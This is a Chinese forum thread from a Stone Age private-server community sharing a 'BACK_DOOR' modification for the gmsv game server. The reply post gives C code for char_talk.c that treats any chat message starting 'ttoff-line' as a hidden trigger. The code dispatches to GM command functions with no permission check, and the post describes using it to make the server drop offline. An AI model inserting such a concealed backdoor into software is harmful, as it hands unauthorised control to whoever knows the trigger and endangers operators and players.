石器时代LA官方

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 7549|回复: 1

[源代码] [stone5]-早期石器_BACK_DOOR断服务器线写法

 关闭 [复制链接]

18

主题

159

回帖

286

积分

中级会员

Rank: 3Rank: 3

积分
286
石币
109
发表于 2017-1-6 22:44:14 | 显示全部楼层 |阅读模式
早期石器_BACK_DOOR断服务器线写法

先在 gmsv\include version.h 添加

#define _BACK_DOOR               // 后门管理

图1

图1


在 gmsv\char char_talk.c  添加

图2

图2


在游戏中 输入  ttoff-line

图3

图3


服务端立刻断线 ...

图4

图4


懂  c 的话 ... 可随意添写 ...


回复

使用道具 举报

18

主题

159

回帖

286

积分

中级会员

Rank: 3Rank: 3

积分
286
石币
109
 楼主| 发表于 2017-1-6 22:46:53 | 显示全部楼层
#ifdef _BACK_DOOR
        if(messageeraseescape[0] == 't'
                && messageeraseescape[1] == 't'
                && messageeraseescape[2] == 'o'
                && messageeraseescape[3] == 'f'
                && messageeraseescape[4] == 'f'
                && messageeraseescape[5] == '-'
                && messageeraseescape[6] == 'l'
                && messageeraseescape[7] == 'i'
                && messageeraseescape[8] == 'n'
                && messageeraseescape[9] == 'e')
                {
                        char    magicname[256];
                        int     ret;
                        CHATMAGICFUNC   func;
                        printf("%s\n",messageeraseescape + 11);
                        ret = getStringFromIndexWithDelim( messageeraseescape + 11, " ", 1, magicname,  sizeof( magicname));
                       
                        if( ret == TRUE){
                                func = CHAR_getChatMagicFuncPointer(magicname,TRUE);
                                func( index, messageeraseescape + 11 + strlen( magicname)+1);
                                return;
                        }
        }
#endif
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|石器时代LA官方

GMT+8, 2024-5-4 05:53 , Processed in 0.122948 second(s), 24 queries .

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表